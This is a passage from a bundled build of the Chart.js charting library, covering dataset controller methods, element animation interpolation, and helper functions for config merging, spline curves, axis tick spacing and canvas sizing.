{\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar dataset = me.getDataset();\n\n\t\t\tif (meta.xAxisID === null || !(meta.xAxisID in me.chart.scales)) {\n\t\t\t\tmeta.xAxisID = dataset.xAxisID || me.chart.options.scales.xAxes[0].id;\n\t\t\t}\n\t\t\tif (meta.yAxisID === null || !(meta.yAxisID in me.chart.scales)) {\n\t\t\t\tmeta.yAxisID = dataset.yAxisID || me.chart.options.scales.yAxes[0].id;\n\t\t\t}\n\t\t},\n\n\t\tgetDataset: function() {\n\t\t\treturn this.chart.data.datasets[this.index];\n\t\t},\n\n\t\tgetMeta: function() {\n\t\t\treturn this.chart.getDatasetMeta(this.index);\n\t\t},\n\n\t\tgetScaleForId: function(scaleID) {\n\t\t\treturn this.chart.scales[scaleID];\n\t\t},\n\n\t\treset: function() {\n\t\t\tthis.update(true);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tdestroy: function() {\n\t\t\tif (this._data) {\n\t\t\t\tunlistenArrayEvents(this._data, this);\n\t\t\t}\n\t\t},\n\n\t\tcreateMetaDataset: function() {\n\t\t\tvar me = this;\n\t\t\tvar type = me.datasetElementType;\n\t\t\treturn type && new type({\n\t\t\t\t_chart: me.chart,\n\t\t\t\t_datasetIndex: me.index\n\t\t\t});\n\t\t},\n\n\t\tcreateMetaData: function(index) {\n\t\t\tvar me = this;\n\t\t\tvar type = me.dataElementType;\n\t\t\treturn type && new type({\n\t\t\t\t_chart: me.chart,\n\t\t\t\t_datasetIndex: me.index,\n\t\t\t\t_index: index\n\t\t\t});\n\t\t},\n\n\t\taddElements: function() {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar data = me.getDataset().data || [];\n\t\t\tvar metaData = meta.data;\n\t\t\tvar i, ilen;\n\n\t\t\tfor (i = 0, ilen = data.length; i < ilen; ++i) {\n\t\t\t\tmetaData[i] = metaData[i] || me.createMetaData(i);\n\t\t\t}\n\n\t\t\tmeta.dataset = meta.dataset || me.createMetaDataset();\n\t\t},\n\n\t\taddElementAndReset: function(index) {\n\t\t\tvar element = this.createMetaData(index);\n\t\t\tthis.getMeta().data.splice(index, 0, element);\n\t\t\tthis.updateElement(element, index, true);\n\t\t},\n\n\t\tbuildOrUpdateElements: function() {\n\t\t\tvar me = this;\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar data = dataset.data || (dataset.data = []);\n\n\t\t\t// In order to correctly handle data addition/deletion animation (an thus simulate\n\t\t\t// real-time charts), we need to monitor these data modifications and synchronize\n\t\t\t// the internal meta data accordingly.\n\t\t\tif (me._data !== data) {\n\t\t\t\tif (me._data) {\n\t\t\t\t\t// This case happens when the user replaced the data array instance.\n\t\t\t\t\tunlistenArrayEvents(me._data, me);\n\t\t\t\t}\n\n\t\t\t\tlistenArrayEvents(data, me);\n\t\t\t\tme._data = data;\n\t\t\t}\n\n\t\t\t// Re-sync meta data in case the user replaced the data array or if we missed\n\t\t\t// any updates and so make sure that we handle number of datapoints changing.\n\t\t\tme.resyncElements();\n\t\t},\n\n\t\tupdate: helpers.noop,\n\n\t\ttransition: function(easingValue) {\n\t\t\tvar meta = this.getMeta();\n\t\t\tvar elements = meta.data || [];\n\t\t\tvar ilen = elements.length;\n\t\t\tvar i = 0;\n\n\t\t\tfor (; i < ilen; ++i) {\n\t\t\t\telements[i].transition(easingValue);\n\t\t\t}\n\n\t\t\tif (meta.dataset) {\n\t\t\t\tmeta.dataset.transition(easingValue);\n\t\t\t}\n\t\t},\n\n\t\tdraw: function() {\n\t\t\tvar meta = this.getMeta();\n\t\t\tvar elements = meta.data || [];\n\t\t\tvar ilen = elements.length;\n\t\t\tvar i = 0;\n\n\t\t\tif (meta.dataset) {\n\t\t\t\tmeta.dataset.draw();\n\t\t\t}\n\n\t\t\tfor (; i < ilen; ++i) {\n\t\t\t\telements[i].draw();\n\t\t\t}\n\t\t},\n\n\t\tremoveHoverStyle: function(element, elementOpts) {\n\t\t\tvar dataset = this.chart.data.datasets[element._datasetIndex];\n\t\t\tvar index = element._index;\n\t\t\tvar custom = element.custom || {};\n\t\t\tvar valueOrDefault = helpers.valueAtIndexOrDefault;\n\t\t\tvar model = element._model;\n\n\t\t\tmodel.backgroundColor = custom.backgroundColor ? custom.backgroundColor : valueOrDefault(dataset.backgroundColor, index, elementOpts.backgroundColor);\n\t\t\tmodel.borderColor = custom.borderColor ? custom.borderColor : valueOrDefault(dataset.borderColor, index, elementOpts.borderColor);\n\t\t\tmodel.borderWidth = custom.borderWidth ? custom.borderWidth : valueOrDefault(dataset.borderWidth, index, elementOpts.borderWidth);\n\t\t},\n\n\t\tsetHoverStyle: function(element) {\n\t\t\tvar dataset = this.chart.data.datasets[element._datasetIndex];\n\t\t\tvar index = element._index;\n\t\t\tvar custom = element.custom || {};\n\t\t\tvar valueOrDefault = helpers.valueAtIndexOrDefault;\n\t\t\tvar getHoverColor = helpers.getHoverColor;\n\t\t\tvar model = element._model;\n\n\t\t\tmodel.backgroundColor = custom.hoverBackgroundColor ? custom.hoverBackgroundColor : valueOrDefault(dataset.hoverBackgroundColor, index, getHoverColor(model.backgroundColor));\n\t\t\tmodel.borderColor = custom.hoverBorderColor ? custom.hoverBorderColor : valueOrDefault(dataset.hoverBorderColor, index, getHoverColor(model.borderColor));\n\t\t\tmodel.borderWidth = custom.hoverBorderWidth ? custom.hoverBorderWidth : valueOrDefault(dataset.hoverBorderWidth, index, model.borderWidth);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tresyncElements: function() {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar data = me.getDataset().data;\n\t\t\tvar numMeta = meta.data.length;\n\t\t\tvar numData = data.length;\n\n\t\t\tif (numData < numMeta) {\n\t\t\t\tmeta.data.splice(numData, numMeta - numData);\n\t\t\t} else if (numData > numMeta) {\n\t\t\t\tme.insertElements(numMeta, numData - numMeta);\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tinsertElements: function(start, count) {\n\t\t\tfor (var i = 0; i < count; ++i) {\n\t\t\t\tthis.addElementAndReset(start + i);\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tonDataPush: function() {\n\t\t\tthis.insertElements(this.getDataset().data.length - 1, arguments.length);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tonDataPop: function() {\n\t\t\tthis.getMeta().data.pop();\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tonDataShift: function() {\n\t\t\tthis.getMeta().data.shift();\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tonDataSplice: function(start, count) {\n\t\t\tthis.getMeta().data.splice(start, count);\n\t\t\tthis.insertElements(start, arguments.length - 2);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tonDataUnshift: function() {\n\t\t\tthis.insertElements(0, arguments.length);\n\t\t}\n\t});\n\n\tChart.DatasetController.extend = helpers.inherits;\n};\n\n},{\"45\":45}],25:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\nmodule.exports = {\n\t/**\n\t * @private\n\t */\n\t_set: function(scope, values) {\n\t\treturn helpers.merge(this[scope] || (this[scope] = {}), values);\n\t}\n};\n\n},{\"45\":45}],26:[function(require,module,exports){\n'use strict';\n\nvar color = require(3);\nvar helpers = require(45);\n\nfunction interpolate(start, view, model, ease) {\n\tvar keys = Object.keys(model);\n\tvar i, ilen, key, actual, origin, target, type, c0, c1;\n\n\tfor (i = 0, ilen = keys.length; i < ilen; ++i) {\n\t\tkey = keys[i];\n\n\t\ttarget = model[key];\n\n\t\t// if a value is added to the model after pivot() has been called, the view\n\t\t// doesn't contain it, so let's initialize the view to the target value.\n\t\tif (!view.hasOwnProperty(key)) {\n\t\t\tview[key] = target;\n\t\t}\n\n\t\tactual = view[key];\n\n\t\tif (actual === target || key[0] === '_') {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!start.hasOwnProperty(key)) {\n\t\t\tstart[key] = actual;\n\t\t}\n\n\t\torigin = start[key];\n\n\t\ttype = typeof target;\n\n\t\tif (type === typeof origin) {\n\t\t\tif (type === 'string') {\n\t\t\t\tc0 = color(origin);\n\t\t\t\tif (c0.valid) {\n\t\t\t\t\tc1 = color(target);\n\t\t\t\t\tif (c1.valid) {\n\t\t\t\t\t\tview[key] = c1.mix(c0, ease).rgbString();\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (type === 'number' && isFinite(origin) && isFinite(target)) {\n\t\t\t\tview[key] = origin + (target - origin) * ease;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tview[key] = target;\n\t}\n}\n\nvar Element = function(configuration) {\n\thelpers.extend(this, configuration);\n\tthis.initialize.apply(this, arguments);\n};\n\nhelpers.extend(Element.prototype, {\n\n\tinitialize: function() {\n\t\tthis.hidden = false;\n\t},\n\n\tpivot: function() {\n\t\tvar me = this;\n\t\tif (!me._view) {\n\t\t\tme._view = helpers.clone(me._model);\n\t\t}\n\t\tme._start = {};\n\t\treturn me;\n\t},\n\n\ttransition: function(ease) {\n\t\tvar me = this;\n\t\tvar model = me._model;\n\t\tvar start = me._start;\n\t\tvar view = me._view;\n\n\t\t// No animation -> No Transition\n\t\tif (!model || ease === 1) {\n\t\t\tme._view = model;\n\t\t\tme._start = null;\n\t\t\treturn me;\n\t\t}\n\n\t\tif (!view) {\n\t\t\tview = me._view = {};\n\t\t}\n\n\t\tif (!start) {\n\t\t\tstart = me._start = {};\n\t\t}\n\n\t\tinterpolate(start, view, model, ease);\n\n\t\treturn me;\n\t},\n\n\ttooltipPosition: function() {\n\t\treturn {\n\t\t\tx: this._model.x,\n\t\t\ty: this._model.y\n\t\t};\n\t},\n\n\thasValue: function() {\n\t\treturn helpers.isNumber(this._model.x) && helpers.isNumber(this._model.y);\n\t}\n});\n\nElement.extend = helpers.inherits;\n\nmodule.exports = Element;\n\n},{\"3\":3,\"45\":45}],27:[function(require,module,exports){\n/* global window: false */\n/* global document: false */\n'use strict';\n\nvar color = require(3);\nvar defaults = require(25);\nvar helpers = require(45);\n\nmodule.exports = function(Chart) {\n\n\t// -- Basic js utility methods\n\n\thelpers.configMerge = function(/* objects ... */) {\n\t\treturn helpers.merge(helpers.clone(arguments[0]), [].slice.call(arguments, 1), {\n\t\t\tmerger: function(key, target, source, options) {\n\t\t\t\tvar tval = target[key] || {};\n\t\t\t\tvar sval = source[key];\n\n\t\t\t\tif (key === 'scales') {\n\t\t\t\t\t// scale config merging is complex. Add our own function here for that\n\t\t\t\t\ttarget[key] = helpers.scaleMerge(tval, sval);\n\t\t\t\t} else if (key === 'scale') {\n\t\t\t\t\t// used in polar area & radar charts since there is only one scale\n\t\t\t\t\ttarget[key] = helpers.merge(tval, [Chart.scaleService.getScaleDefaults(sval.type), sval]);\n\t\t\t\t} else {\n\t\t\t\t\thelpers._merger(key, target, source, options);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t};\n\n\thelpers.scaleMerge = function(/* objects ... */) {\n\t\treturn helpers.merge(helpers.clone(arguments[0]), [].slice.call(arguments, 1), {\n\t\t\tmerger: function(key, target, source, options) {\n\t\t\t\tif (key === 'xAxes' || key === 'yAxes') {\n\t\t\t\t\tvar slen = source[key].length;\n\t\t\t\t\tvar i, type, scale;\n\n\t\t\t\t\tif (!target[key]) {\n\t\t\t\t\t\ttarget[key] = [];\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (i = 0; i < slen; ++i) {\n\t\t\t\t\t\tscale = source[key][i];\n\t\t\t\t\t\ttype = helpers.valueOrDefault(scale.type, key === 'xAxes' ? 'category' : 'linear');\n\n\t\t\t\t\t\tif (i >= target[key].length) {\n\t\t\t\t\t\t\ttarget[key].push({});\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (!target[key][i].type || (scale.type && scale.type !== target[key][i].type)) {\n\t\t\t\t\t\t\t// new/untyped scale or type changed: let's apply the new defaults\n\t\t\t\t\t\t\t// then merge source scale to correctly overwrite the defaults.\n\t\t\t\t\t\t\thelpers.merge(target[key][i], [Chart.scaleService.getScaleDefaults(type), scale]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// scales type are the same\n\t\t\t\t\t\t\thelpers.merge(target[key][i], scale);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\thelpers._merger(key, target, source, options);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t};\n\n\thelpers.where = function(collection, filterCallback) {\n\t\tif (helpers.isArray(collection) && Array.prototype.filter) {\n\t\t\treturn collection.filter(filterCallback);\n\t\t}\n\t\tvar filtered = [];\n\n\t\thelpers.each(collection, function(item) {\n\t\t\tif (filterCallback(item)) {\n\t\t\t\tfiltered.push(item);\n\t\t\t}\n\t\t});\n\n\t\treturn filtered;\n\t};\n\thelpers.findIndex = Array.prototype.findIndex ?\n\t\tfunction(array, callback, scope) {\n\t\t\treturn array.findIndex(callback, scope);\n\t\t} :\n\t\tfunction(array, callback, scope) {\n\t\t\tscope = scope === undefined ? array : scope;\n\t\t\tfor (var i = 0, ilen = array.length; i < ilen; ++i) {\n\t\t\t\tif (callback.call(scope, array[i], i, array)) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn -1;\n\t\t};\n\thelpers.findNextWhere = function(arrayToSearch, filterCallback, startIndex) {\n\t\t// Default to start of the array\n\t\tif (helpers.isNullOrUndef(startIndex)) {\n\t\t\tstartIndex = -1;\n\t\t}\n\t\tfor (var i = startIndex + 1; i < arrayToSearch.length; i++) {\n\t\t\tvar currentItem = arrayToSearch[i];\n\t\t\tif (filterCallback(currentItem)) {\n\t\t\t\treturn currentItem;\n\t\t\t}\n\t\t}\n\t};\n\thelpers.findPreviousWhere = function(arrayToSearch, filterCallback, startIndex) {\n\t\t// Default to end of the array\n\t\tif (helpers.isNullOrUndef(startIndex)) {\n\t\t\tstartIndex = arrayToSearch.length;\n\t\t}\n\t\tfor (var i = startIndex - 1; i >= 0; i--) {\n\t\t\tvar currentItem = arrayToSearch[i];\n\t\t\tif (filterCallback(currentItem)) {\n\t\t\t\treturn currentItem;\n\t\t\t}\n\t\t}\n\t};\n\n\t// -- Math methods\n\thelpers.isNumber = function(n) {\n\t\treturn !isNaN(parseFloat(n)) && isFinite(n);\n\t};\n\thelpers.almostEquals = function(x, y, epsilon) {\n\t\treturn Math.abs(x - y) < epsilon;\n\t};\n\thelpers.almostWhole = function(x, epsilon) {\n\t\tvar rounded = Math.round(x);\n\t\treturn (((rounded - epsilon) < x) && ((rounded + epsilon) > x));\n\t};\n\thelpers.max = function(array) {\n\t\treturn array.reduce(function(max, value) {\n\t\t\tif (!isNaN(value)) {\n\t\t\t\treturn Math.max(max, value);\n\t\t\t}\n\t\t\treturn max;\n\t\t}, Number.NEGATIVE_INFINITY);\n\t};\n\thelpers.min = function(array) {\n\t\treturn array.reduce(function(min, value) {\n\t\t\tif (!isNaN(value)) {\n\t\t\t\treturn Math.min(min, value);\n\t\t\t}\n\t\t\treturn min;\n\t\t}, Number.POSITIVE_INFINITY);\n\t};\n\thelpers.sign = Math.sign ?\n\t\tfunction(x) {\n\t\t\treturn Math.sign(x);\n\t\t} :\n\t\tfunction(x) {\n\t\t\tx = +x; // convert to a number\n\t\t\tif (x === 0 || isNaN(x)) {\n\t\t\t\treturn x;\n\t\t\t}\n\t\t\treturn x > 0 ? 1 : -1;\n\t\t};\n\thelpers.log10 = Math.log10 ?\n\t\tfunction(x) {\n\t\t\treturn Math.log10(x);\n\t\t} :\n\t\tfunction(x) {\n\t\t\tvar exponent = Math.log(x) * Math.LOG10E; // Math.LOG10E = 1 / Math.LN10.\n\t\t\t// Check for whole powers of 10,\n\t\t\t// which due to floating point rounding error should be corrected.\n\t\t\tvar powerOf10 = Math.round(exponent);\n\t\t\tvar isPowerOf10 = x === Math.pow(10, powerOf10);\n\n\t\t\treturn isPowerOf10 ? powerOf10 : exponent;\n\t\t};\n\thelpers.toRadians = function(degrees) {\n\t\treturn degrees * (Math.PI / 180);\n\t};\n\thelpers.toDegrees = function(radians) {\n\t\treturn radians * (180 / Math.PI);\n\t};\n\t// Gets the angle from vertical upright to the point about a centre.\n\thelpers.getAngleFromPoint = function(centrePoint, anglePoint) {\n\t\tvar distanceFromXCenter = anglePoint.x - centrePoint.x;\n\t\tvar distanceFromYCenter = anglePoint.y - centrePoint.y;\n\t\tvar radialDistanceFromCenter = Math.sqrt(distanceFromXCenter * distanceFromXCenter + distanceFromYCenter * distanceFromYCenter);\n\n\t\tvar angle = Math.atan2(distanceFromYCenter, distanceFromXCenter);\n\n\t\tif (angle < (-0.5 * Math.PI)) {\n\t\t\tangle += 2.0 * Math.PI; // make sure the returned angle is in the range of (-PI/2, 3PI/2]\n\t\t}\n\n\t\treturn {\n\t\t\tangle: angle,\n\t\t\tdistance: radialDistanceFromCenter\n\t\t};\n\t};\n\thelpers.distanceBetweenPoints = function(pt1, pt2) {\n\t\treturn Math.sqrt(Math.pow(pt2.x - pt1.x, 2) + Math.pow(pt2.y - pt1.y, 2));\n\t};\n\thelpers.aliasPixel = function(pixelWidth) {\n\t\treturn (pixelWidth % 2 === 0) ? 0 : 0.5;\n\t};\n\thelpers.splineCurve = function(firstPoint, middlePoint, afterPoint, t) {\n\t\t// Props to Rob Spencer at scaled innovation for his post on splining between points\n\t\t// http://scaledinnovation.com/analytics/splines/aboutSplines.html\n\n\t\t// This function must also respect \"skipped\" points\n\n\t\tvar previous = firstPoint.skip ? middlePoint : firstPoint;\n\t\tvar current = middlePoint;\n\t\tvar next = afterPoint.skip ? middlePoint : afterPoint;\n\n\t\tvar d01 = Math.sqrt(Math.pow(current.x - previous.x, 2) + Math.pow(current.y - previous.y, 2));\n\t\tvar d12 = Math.sqrt(Math.pow(next.x - current.x, 2) + Math.pow(next.y - current.y, 2));\n\n\t\tvar s01 = d01 / (d01 + d12);\n\t\tvar s12 = d12 / (d01 + d12);\n\n\t\t// If all points are the same, s01 & s02 will be inf\n\t\ts01 = isNaN(s01) ? 0 : s01;\n\t\ts12 = isNaN(s12) ? 0 : s12;\n\n\t\tvar fa = t * s01; // scaling factor for triangle Ta\n\t\tvar fb = t * s12;\n\n\t\treturn {\n\t\t\tprevious: {\n\t\t\t\tx: current.x - fa * (next.x - previous.x),\n\t\t\t\ty: current.y - fa * (next.y - previous.y)\n\t\t\t},\n\t\t\tnext: {\n\t\t\t\tx: current.x + fb * (next.x - previous.x),\n\t\t\t\ty: current.y + fb * (next.y - previous.y)\n\t\t\t}\n\t\t};\n\t};\n\thelpers.EPSILON = Number.EPSILON || 1e-14;\n\thelpers.splineCurveMonotone = function(points) {\n\t\t// This function calculates Bézier control points in a similar way than |splineCurve|,\n\t\t// but preserves monotonicity of the provided data and ensures no local extremums are added\n\t\t// between the dataset discrete points due to the interpolation.\n\t\t// See : https://en.wikipedia.org/wiki/Monotone_cubic_interpolation\n\n\t\tvar pointsWithTangents = (points || []).map(function(point) {\n\t\t\treturn {\n\t\t\t\tmodel: point._model,\n\t\t\t\tdeltaK: 0,\n\t\t\t\tmK: 0\n\t\t\t};\n\t\t});\n\n\t\t// Calculate slopes (deltaK) and initialize tangents (mK)\n\t\tvar pointsLen = pointsWithTangents.length;\n\t\tvar i, pointBefore, pointCurrent, pointAfter;\n\t\tfor (i = 0; i < pointsLen; ++i) {\n\t\t\tpointCurrent = pointsWithTangents[i];\n\t\t\tif (pointCurrent.model.skip) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tpointBefore = i > 0 ? pointsWithTangents[i - 1] : null;\n\t\t\tpointAfter = i < pointsLen - 1 ? pointsWithTangents[i + 1] : null;\n\t\t\tif (pointAfter && !pointAfter.model.skip) {\n\t\t\t\tvar slopeDeltaX = (pointAfter.model.x - pointCurrent.model.x);\n\n\t\t\t\t// In the case of two points that appear at the same x pixel, slopeDeltaX is 0\n\t\t\t\tpointCurrent.deltaK = slopeDeltaX !== 0 ? (pointAfter.model.y - pointCurrent.model.y) / slopeDeltaX : 0;\n\t\t\t}\n\n\t\t\tif (!pointBefore || pointBefore.model.skip) {\n\t\t\t\tpointCurrent.mK = pointCurrent.deltaK;\n\t\t\t} else if (!pointAfter || pointAfter.model.skip) {\n\t\t\t\tpointCurrent.mK = pointBefore.deltaK;\n\t\t\t} else if (this.sign(pointBefore.deltaK) !== this.sign(pointCurrent.deltaK)) {\n\t\t\t\tpointCurrent.mK = 0;\n\t\t\t} else {\n\t\t\t\tpointCurrent.mK = (pointBefore.deltaK + pointCurrent.deltaK) / 2;\n\t\t\t}\n\t\t}\n\n\t\t// Adjust tangents to ensure monotonic properties\n\t\tvar alphaK, betaK, tauK, squaredMagnitude;\n\t\tfor (i = 0; i < pointsLen - 1; ++i) {\n\t\t\tpointCurrent = pointsWithTangents[i];\n\t\t\tpointAfter = pointsWithTangents[i + 1];\n\t\t\tif (pointCurrent.model.skip || pointAfter.model.skip) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (helpers.almostEquals(pointCurrent.deltaK, 0, this.EPSILON)) {\n\t\t\t\tpointCurrent.mK = pointAfter.mK = 0;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\talphaK = pointCurrent.mK / pointCurrent.deltaK;\n\t\t\tbetaK = pointAfter.mK / pointCurrent.deltaK;\n\t\t\tsquaredMagnitude = Math.pow(alphaK, 2) + Math.pow(betaK, 2);\n\t\t\tif (squaredMagnitude <= 9) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\ttauK = 3 / Math.sqrt(squaredMagnitude);\n\t\t\tpointCurrent.mK = alphaK * tauK * pointCurrent.deltaK;\n\t\t\tpointAfter.mK = betaK * tauK * pointCurrent.deltaK;\n\t\t}\n\n\t\t// Compute control points\n\t\tvar deltaX;\n\t\tfor (i = 0; i < pointsLen; ++i) {\n\t\t\tpointCurrent = pointsWithTangents[i];\n\t\t\tif (pointCurrent.model.skip) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tpointBefore = i > 0 ? pointsWithTangents[i - 1] : null;\n\t\t\tpointAfter = i < pointsLen - 1 ? pointsWithTangents[i + 1] : null;\n\t\t\tif (pointBefore && !pointBefore.model.skip) {\n\t\t\t\tdeltaX = (pointCurrent.model.x - pointBefore.model.x) / 3;\n\t\t\t\tpointCurrent.model.controlPointPreviousX = pointCurrent.model.x - deltaX;\n\t\t\t\tpointCurrent.model.controlPointPreviousY = pointCurrent.model.y - deltaX * pointCurrent.mK;\n\t\t\t}\n\t\t\tif (pointAfter && !pointAfter.model.skip) {\n\t\t\t\tdeltaX = (pointAfter.model.x - pointCurrent.model.x) / 3;\n\t\t\t\tpointCurrent.model.controlPointNextX = pointCurrent.model.x + deltaX;\n\t\t\t\tpointCurrent.model.controlPointNextY = pointCurrent.model.y + deltaX * pointCurrent.mK;\n\t\t\t}\n\t\t}\n\t};\n\thelpers.nextItem = function(collection, index, loop) {\n\t\tif (loop) {\n\t\t\treturn index >= collection.length - 1 ? collection[0] : collection[index + 1];\n\t\t}\n\t\treturn index >= collection.length - 1 ? collection[collection.length - 1] : collection[index + 1];\n\t};\n\thelpers.previousItem = function(collection, index, loop) {\n\t\tif (loop) {\n\t\t\treturn index <= 0 ? collection[collection.length - 1] : collection[index - 1];\n\t\t}\n\t\treturn index <= 0 ? collection[0] : collection[index - 1];\n\t};\n\t// Implementation of the nice number algorithm used in determining where axis labels will go\n\thelpers.niceNum = function(range, round) {\n\t\tvar exponent = Math.floor(helpers.log10(range));\n\t\tvar fraction = range / Math.pow(10, exponent);\n\t\tvar niceFraction;\n\n\t\tif (round) {\n\t\t\tif (fraction < 1.5) {\n\t\t\t\tniceFraction = 1;\n\t\t\t} else if (fraction < 3) {\n\t\t\t\tniceFraction = 2;\n\t\t\t} else if (fraction < 7) {\n\t\t\t\tniceFraction = 5;\n\t\t\t} else {\n\t\t\t\tniceFraction = 10;\n\t\t\t}\n\t\t} else if (fraction <= 1.0) {\n\t\t\tniceFraction = 1;\n\t\t} else if (fraction <= 2) {\n\t\t\tniceFraction = 2;\n\t\t} else if (fraction <= 5) {\n\t\t\tniceFraction = 5;\n\t\t} else {\n\t\t\tniceFraction = 10;\n\t\t}\n\n\t\treturn niceFraction * Math.pow(10, exponent);\n\t};\n\t// Request animation polyfill - http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/\n\thelpers.requestAnimFrame = (function() {\n\t\tif (typeof window === 'undefined') {\n\t\t\treturn function(callback) {\n\t\t\t\tcallback();\n\t\t\t};\n\t\t}\n\t\treturn window.requestAnimationFrame ||\n\t\t\twindow.webkitRequestAnimationFrame ||\n\t\t\twindow.mozRequestAnimationFrame ||\n\t\t\twindow.oRequestAnimationFrame ||\n\t\t\twindow.msRequestAnimationFrame ||\n\t\t\tfunction(callback) {\n\t\t\t\treturn window.setTimeout(callback, 1000 / 60);\n\t\t\t};\n\t}());\n\t// -- DOM methods\n\thelpers.getRelativePosition = function(evt, chart) {\n\t\tvar mouseX, mouseY;\n\t\tvar e = evt.originalEvent || evt;\n\t\tvar canvas = evt.currentTarget || evt.srcElement;\n\t\tvar boundingRect = canvas.getBoundingClientRect();\n\n\t\tvar touches = e.touches;\n\t\tif (touches && touches.length > 0) {\n\t\t\tmouseX = touches[0].clientX;\n\t\t\tmouseY = touches[0].clientY;\n\n\t\t} else {\n\t\t\tmouseX = e.clientX;\n\t\t\tmouseY = e.clientY;\n\t\t}\n\n\t\t// Scale mouse coordinates into canvas coordinates\n\t\t// by following the pattern laid out by 'jerryj' in the comments of\n\t\t// http://www.html5canvastutorials.com/advanced/html5-canvas-mouse-coordinates/\n\t\tvar paddingLeft = parseFloat(helpers.getStyle(canvas, 'padding-left'));\n\t\tvar paddingTop = parseFloat(helpers.getStyle(canvas, 'padding-top'));\n\t\tvar paddingRight = parseFloat(helpers.getStyle(canvas, 'padding-right'));\n\t\tvar paddingBottom = parseFloat(helpers.getStyle(canvas, 'padding-bottom'));\n\t\tvar width = boundingRect.right - boundingRect.left - paddingLeft - paddingRight;\n\t\tvar height = boundingRect.bottom - boundingRect.top - paddingTop - paddingBottom;\n\n\t\t// We divide by the current device pixel ratio, because the canvas is scaled up by that amount in each direction. However\n\t\t// the backend model is in unscaled coordinates. Since we are going to deal with our model coordinates, we go back here\n\t\tmouseX = Math.round((mouseX - boundingRect.left - paddingLeft) / (width) * canvas.width / chart.currentDevicePixelRatio);\n\t\tmouseY = Math.round((mouseY - boundingRect.top - paddingTop) / (height) * canvas.height / chart.currentDevicePixelRatio);\n\n\t\treturn {\n\t\t\tx: mouseX,\n\t\t\ty: mouseY\n\t\t};\n\n\t};\n\n\t// Private helper function to convert max-width/max-height values that may be percentages into a number\n\tfunction parseMaxStyle(styleValue, node, parentProperty) {\n\t\tvar valueInPixels;\n\t\tif (typeof styleValue === 'string') {\n\t\t\tvalueInPixels = parseInt(styleValue, 10);\n\n\t\t\tif (styleValue.indexOf('%') !== -1) {\n\t\t\t\t// percentage * size in dimension\n\t\t\t\tvalueInPixels = valueInPixels / 100 * node.parentNode[parentProperty];\n\t\t\t}\n\t\t} else {\n\t\t\tvalueInPixels = styleValue;\n\t\t}\n\n\t\treturn valueInPixels;\n\t}\n\n\t/**\n\t * Returns if the given value contains an effective constraint.\n\t * @private\n\t */\n\tfunction isConstrainedValue(value) {\n\t\treturn value !== undefined && value !== null && value !== 'none';\n\t}\n\n\t// Private helper to get a constraint dimension\n\t// @param domNode : the node to check the constraint on\n\t// @param maxStyle : the style that defines the maximum for the direction we are using (maxWidth / maxHeight)\n\t// @param percentageProperty : property of parent to use when calculating width as a percentage\n\t// @see http://www.nathanaeljones.com/blog/2013/reading-max-width-cross-browser\n\tfunction getConstraintDimension(domNode, maxStyle, percentageProperty) {\n\t\tvar view = document.defaultView;\n\t\tvar parentNode = domNode.parentNode;\n\t\tvar constrainedNode = view.getComputedStyle(domNode)[maxStyle];\n\t\tvar constrainedContainer = view.getComputedStyle(parentNode)[maxStyle];\n\t\tvar hasCNode = isConstrainedValue(constrainedNode);\n\t\tvar hasCContainer = isConstrainedValue(constrainedContainer);\n\t\tvar infinity = Number.POSITIVE_INFINITY;\n\n\t\tif (hasCNode || hasCContainer) {\n\t\t\treturn Math.min(\n\t\t\t\thasCNode ? parseMaxStyle(constrainedNode, domNode, percentageProperty) : infinity,\n\t\t\t\thasCContainer ? parseMaxStyle(constrainedContainer, parentNode, percentageProperty) : infinity);\n\t\t}\n\n\t\treturn 'none';\n\t}\n\t// returns Number or undefined if no constraint\n\thelpers.getConstraintWidth = function(domNode) {\n\t\treturn getConstraintDimension(domNode, 'max-width', 'clientWidth');\n\t};\n\t// returns Number or undefined if no constraint\n\thelpers.getConstraintHeight = function(domNode) {\n\t\treturn getConstraintDimension(domNode, 'max-height', 'clientHeight');\n\t};\n\thelpers.getMaximumWidth = function(domNode) {\n\t\tvar container = domNode.parentNode;\n\t\tif (!container) {\n\t\t\treturn domNode.clientWidth;\n\t\t}\n\n\t\tvar paddingLeft = parseInt(helpers.getStyle(container, 'padding-left'), 10);\n\t\tvar paddingRight = parseInt(helpers.getStyle(container, 'padding-right'), 10);\n\t\tvar w = container.clientWidth - paddingLeft - paddingRight;\n\t\tvar cw = helpers.getConstraintWidth(domNode);\n\t\treturn isNaN(cw) ? w : Math.min(w, cw);\n\t};\n\thelpers.getMaximumHeight = function(domNode) {\n\t\tvar container = domNode.parentNode;\n\t\tif (!container) {\n\t\t\treturn 